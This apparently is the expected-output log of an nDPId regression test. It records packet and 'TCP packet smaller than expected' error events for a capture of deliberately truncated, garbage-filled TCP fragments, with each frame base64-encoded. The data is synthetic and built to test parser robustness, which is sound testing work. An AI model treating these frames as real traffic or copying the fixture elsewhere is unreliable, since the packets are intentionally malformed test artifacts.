-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434088} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434101} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434113} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434126} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434137} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434149} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434214} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434246} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434255} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434269} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434277} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434285} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434292} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434300} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434307} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434314} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434322} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434330} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434345} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434353} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434361} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434371} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434379} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434390} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434401} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434415} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434427} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434439} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434451} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434462} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434469} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434477} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434487} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434500} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434512} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434523} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434535} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434548} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434559} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434571} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434591} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434603} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027434616} 